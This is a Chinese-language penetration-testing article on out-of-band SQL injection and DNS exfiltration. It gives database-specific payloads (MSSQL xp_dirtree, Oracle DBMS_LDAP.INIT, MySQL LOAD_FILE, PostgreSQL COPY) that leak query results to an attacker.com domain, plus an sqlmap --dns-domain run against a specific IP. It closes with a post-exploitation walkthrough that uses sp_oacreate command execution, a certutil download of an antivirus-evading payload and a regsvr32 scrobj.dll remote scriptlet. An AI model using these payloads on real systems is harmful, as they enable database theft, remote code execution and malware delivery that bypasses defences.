No.1
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
No.2
前言
在實戰滲透測試過程中,經常碰到SQL注入點無法回顯數據,獲得sqlmap中os-shell也無法進一步getshell或是反彈shell,從而放棄繼續深入。
No.3
什么是OOB
根據用于數據檢索的傳輸信道,SQLi可分為三個獨立的類別:inband, inference(推理) 和out-of-band。
Inband技術使用攻擊者和有漏洞的Web應用程序之間現有的渠道來提取數據。通常該通道是標準的Web服務器響應。它的成員union技術使用現有的web頁面輸出惡意SQL查詢的執行結果,而error-based技術則引發特定的惡意SQL查詢的執行結果的DBMS的錯誤消息。
相反的,在Inference技術中,攻擊者通過應用程序表現的差異來推斷數據的值。Inference技術能夠逐位提取惡意SQL查詢結果,卻沒有真正傳輸數據。
Inference的核心是在服務器執行一系列的布爾查詢,觀察和最后推導接收結果的含義。根據觀察到的特性,它的成員被稱為布爾型盲注(bool)和基于時間(time-based)的盲注技術。在布爾型盲注技術中,網絡服務器響應內容的變化用于區分邏輯的值(true/false),而在基于時間的盲注技術中則通過觀察Web服務器響應時間(sleep/benchmark)的變化來推斷答案。
Out-of-band (OOB)技術,與inband相反,使用其它傳輸信道獲取數據,例如HTTP協議和DNS解析協議。當詳細的錯誤信息被禁用(無回顯)、結果被限制或過濾(被攔截)、出站過濾規則不嚴和/或當減少查詢的數目變得極度重要時inference技術看起來像是唯一的選擇,這時使用OOB技術滲透便變得十分有趣。
例如,基于HTTP的OOB技術的SQL查詢結果變成了發送給HTTP服務器請求的一部分(例如GET參數值)被能訪問日志文件的攻擊者控制時。此類的技術不像其它的主流技術被廣泛應用,主要是其所需的設置非常復雜,但使用它們可以克服許多障礙(如避免不必要的數據庫寫入和極大地提升利用INSERT/UPDATE語句漏洞的基于時間的SQL注入)。
No.4
DNS傳輸數據
需要先理解下DNS解析過程,看下面圖即可:
在實際應用中,實現dns解析,有多種方法:
1. 使用burp suite 自帶的Burp Collaborator client(方便好用,用于探測數據庫服務器能否出網)
2. 搭建一個簡易http服務器,如Python服務器(有域名最好)
3. 使用開放平臺的ceye.io或是自己搭建的dnslog服務器(網上有很多類型平臺和文章,不再做介紹)
4. 使用sqlmap中的—dns-domain參數
No.5
查詢方法
1.MSSQL:
我們可以簡單地使用master.dbo.xp_dirtree功能來執行DNS查詢。該操作的主要目的是將文件放在目錄下,但它也允許遠程目錄訪問,這樣我們就可以讓我們的域運行并獲得結果。語法如下所示:
DECLARE @data varchar(1024);
SELECT @data =(SELECT foo FROM bar);
EXEC('master..xp_dirtree“\'+ @ data +'.attacker.com foo $”');
如果其他方法有任何問題,我們也可以使用像xp_fileexists和xp_subdirs這樣的函數; 它們在語法上是相同的。
2.Oracle:
有UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
和DBMS_LDAP.INIT
這些函數中的每一個都執行名稱解析,其中一個示例用例是:
SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80)FROM DUAL;
3.MySQL:
LOAD_FILE可用于解析域名
SELECT LOAD_FILE(CONCAT('\\',(SELECT foo FROM bar),'.atacker.com'));
4.PostgreSQL:
對于postgresql我們可以使用COPY函數,它基本上讀取一個文件并將其內容復制到一個表中,語法如下:
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT foo FROM bar);
exec_cmd := E'COPY table_output(content) FROM E'\\\\'||query_result||E'.attacker.com\\foobar.txt'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function;
No.6
sqlmap --dns-domain回顯
準備:一個控制的域名:opendns.online
例子:發現uid存在注入
sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online
使用tcpdump進行監聽53d端口的udp流量:
tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53
我們可以看到,sqlmap將查詢響應放在兩個隨機字符串之間,并將我們的域名附加到它以執行dns請求。然后,在這些隨機字符串的幫助下,它可以理解哪個請求響應特定查詢并相應地生成結果。
No.7
思路延伸
看到有同事在實戰應用中碰到很多障礙,需要扎實的基礎,才能有許多技巧去繞過。碰到問題,解決問題,能夠從中學習到很多。
dns解析已經很成熟,但只是一種輔助手段,本質還是需要對常用數據庫特性有深入理解。
場景:
機器:windows 2008
數據庫:MSSQL
注入點權限:DBA權限
服務器上安裝:360+ESET NOD32 Antivirus
擁有—os-shell權限,能夠執行命令(以前碰到這種環境,執行命令就結束了,現在有再好的思路,進一步獲取shell)
面臨的問題:
1.xp_cmdshell無法使用。
2.服務器安裝了殺軟,常規手段會被查殺和阻斷。
3.雖然獲得了os_shell終端,但無法回顯執行情況。
解決思路:
1.sqlmap在判斷xp_cmdshell無法調用情況下,sp_oacreate用于創建OLE對象實例。
開啟相應功能:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
執行(解析:sp_oacreate初始化創建一個OLE對象wscript.shell,使用sp_oamethod調用OLE對象的方法,cmd.exe執行whoami命令再輸出到c盤who.txt文件):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',,'c:windowssystem32cmd.exe /c whoami >C:who.txt'
2.現在的問題是無法回顯執行的結果,選擇使用dnslog方式進行帶外查詢,這里先使用burp collaborator 判斷能否出網,如果能夠正常出網,搭建python http.server服務器用于接收回顯信息。
3.使用os-shell>certutil -urlcache -split -f http://xx.xx.xx.xx:8000/1.exe下載payload(已免殺)。
4.接收回顯信息判斷是否下載、運行成功,同時使用wmic process call create "regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx:8086/p.txt scrobj.dll"探測進程1.exe是否正常運行成功。
解決思路腦圖如下: